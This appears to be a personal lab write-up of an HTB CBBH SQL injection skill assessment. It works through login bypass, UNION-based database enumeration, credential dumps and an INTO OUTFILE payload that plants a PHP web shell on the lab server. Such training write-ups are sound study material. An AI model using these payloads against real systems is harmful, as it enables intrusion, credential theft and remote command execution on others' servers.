> For the complete documentation index, see [llms.txt](https://eldeim.gitbook.io/brain_fuck/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cbbh/sql-injection/skill-assessment.md).

# Skill Assessment

First I can see a login, try to sqli basic -->

```
admin' or 1=1-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FwWRlgzX3IypYXxpUXVSd%2Fimage.png?alt=media&amp;token=74a6024b-be3c-4e93-b52d-e671d2193a37" alt=""><figcaption></figcaption></figure>

Then, i can see search panel and info of names, i test if this field is vulnerable:

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2Fd3fT3xeTrHXWEPc0pYA1%2Fimage.png?alt=media&amp;token=bf59c85f-bc1d-47f2-a596-e9185a2007a9" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FExSoxQqJj0coUsmvbeeH%2Fimage.png?alt=media&amp;token=28c11644-45fc-44aa-bb81-b22d162ff2b1" alt=""><figcaption></figcaption></figure>

It is vulnerable, true. Now i try to connect to unions select -->

```
ADAM' UNION SELECT 1,2,3,4,5-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FLMe86IBMVGMnfK5GJKJA%2Fimage.png?alt=media&amp;token=dcaeb41b-bb58-45c1-be1a-42095338097d" alt=""><figcaption></figcaption></figure>

Nice try daddy, now i list the secure\_file\_priv, to view if this field is vulnerable:

```
ADAM' UNION SELECT 1,2, variable_name, variable_value, 5 FROM information_schema.global_variables where variable_name="secure_file_priv"-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FDun7T9K7TqF5Oz9TIhBM%2Fimage.png?alt=media&amp;token=9cf7b765-9723-448b-99ac-eb774574dc9b" alt=""><figcaption></figcaption></figure>

Now, i try to upload a webshell -->

```
adam' union select "",'<?php system($_REQUEST[0]); ?>', "", "", "" into outfile '/var/www/html/shell.php'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2F7d3B4XO7TSpXkI3XXLGD%2Fimage.png?alt=media&amp;token=335628d3-ef18-41b9-ac88-04e0e23c4cd2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2Fo6okLsM1MvygM5UkWllk%2Fkunqia-ltyeri.gif?alt=media&amp;token=8f6a62c0-30ba-41b5-9d0d-77bc6d25fa53" alt=""><figcaption></figcaption></figure>

No problem, i will try display the bbdd and password of admin to login and do it upload

```
ADAM' UNION select 1,schema_name,3,4,5 from INFORMATION_SCHEMA.SCHEMATA-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FMMcjEN5yZljzwjz9kFdi%2Fimage.png?alt=media&amp;token=fcc6dc7d-68d8-4f3d-92d4-2b12733c319f" alt=""><figcaption></figcaption></figure>

List all bbdd, and see ilfreight and backup, nice. I see with database(), what ddbb is using this webapp:

```
ADAM' UNION select 1,database(),2,3,4-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FpHZBlh6wSBCio8g18U4e%2Fimage.png?alt=media&amp;token=c1e6d2e3-5350-47e1-85e8-7e9d0f0a6537" alt=""><figcaption></figcaption></figure>

NICE, now list all tables, columns and info -->

```
ADAM' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4,5 from INFORMATION_SCHEMA.TABLES where table_schema='ilfreight'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2Fzy7EMd1Zu0Rvjn90hZlL%2Fimage.png?alt=media&amp;token=f87e6d07-4033-4dd6-9a17-653b3aa0bee3" alt=""><figcaption></figcaption></figure>

```
ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='users'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2F8MPkOzcyUPgkDIwexEb1%2Fimage.png?alt=media&amp;token=c1a4aecb-40a6-4e0c-882c-6abe3be1f397" alt=""><figcaption></figcaption></figure>

Now we can see all content off this columns -->

```
ADAM' UNION select 1,2, username, password, 4 from ilfreight.users-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FWlJGW0aWEvKyZmF0Fzo0%2Fimage.png?alt=media&amp;token=f5009ae3-145e-47d9-a6fe-4bc4c217fbbb" alt=""><figcaption></figcaption></figure>

> adam : 1be9f5d3a82847b8acca40544f953515

Try to login again into the login... but...

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FnRf503HYVj6K2GyV9kc4%2Fimage.png?alt=media&amp;token=c3da632e-aabf-429a-b861-3a1d8543ecb3" alt=""><figcaption></figcaption></figure>

<div data-full-width="false"><figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FPUFv4pzDwdYcNUmbTF80%2Fcristiano-ronaldo-llorando.gif?alt=media&amp;token=81a84f22-a371-4753-9e2d-37ace157bcf4" alt="" width="281"><figcaption></figcaption></figure></div>

NO SURRENDER! I will try to enum the backup bbdd

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2F2MZdFAwkUbsu1ogX3NNQ%2Fimage.png?alt=media&amp;token=be9f3b69-4a33-4810-ab17-1ac5a654c575" alt=""><figcaption></figcaption></figure>

```
ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_bk'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FCbXQMNAZCpPcqoQA6uOe%2Fimage.png?alt=media&amp;token=0ff92d82-6d6b-4e7c-89db-d199b4f8daa0" alt=""><figcaption></figcaption></figure>

Now, i list the columns:

```
ADAM' UNION select 1,2,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='admin_bk'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2F1MhA3jdFKMjBHWAFTrm0%2Fimage.png?alt=media&amp;token=4236c78e-6b69-4778-99aa-1b9c9c46c3e8" alt=""><figcaption></figcaption></figure>

To the end, i display all data of this comuns -->

```
ADAM' UNION select 1,2, username, password, 4 from backup.admin_bk-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FpJZAWZLGfwLYbvt2oRsV%2Fimage.png?alt=media&amp;token=7966e32a-9c72-4086-af90-767069f31524" alt=""><figcaption></figcaption></figure>

> admin : Inl\@n3\_fre1gh7\_adm!n

NOW YEAAAHHH, but... it is the same user i have... sooooo.

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2F6YAdSXEOfilpMCxvwcFY%2Fbranye-why.gif?alt=media&amp;token=dc2e193b-1ee8-4f42-8e91-75a3fdbc0649" alt=""><figcaption></figcaption></figure>

There are something i am doing bad... The above responde message is: Permsion Denied... Yeah... but... the query is it:

```
' union select "",'<?php system($_REQUEST[0]); ?>', "","", "" into outfile '/var/www/html/shell.php'-- -
```

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2Fxt9zZqdNF4QRSXTyTKGJ%2Fimage.png?alt=media&amp;token=71a60b02-62ec-4bfc-8485-0d21d4656fa2" alt=""><figcaption></figcaption></figure>

"Cant create to file in /var/www/html", but... i am in /dashboad/dasboard.php, try it -->

```
' union select "",'<?php system($_REQUEST[0]); ?>', "","", "" into outfile '/var/www/html/dashboard/shell.php'-- -
```

NOTHING ERROR!! Search the file

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FAyDDmyJhI329RzrbBoJw%2Fimage.png?alt=media&amp;token=658e30fa-2749-4c8a-a3d7-0d1c4456c931" alt=""><figcaption></figcaption></figure>

> HOLY SH1T!! I NEED SLEEP

<figure><img src="https://3697469405-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FSrcwXlKGkwhzbrKa8vLU%2Fuploads%2FBRtfzkCoo7W9Lnt8qgSF%2Fronaldo-cr7.gif?alt=media&amp;token=83ba8e5b-ccf4-48f0-bb12-7619246006b1" alt="" width="374"><figcaption></figcaption></figure>
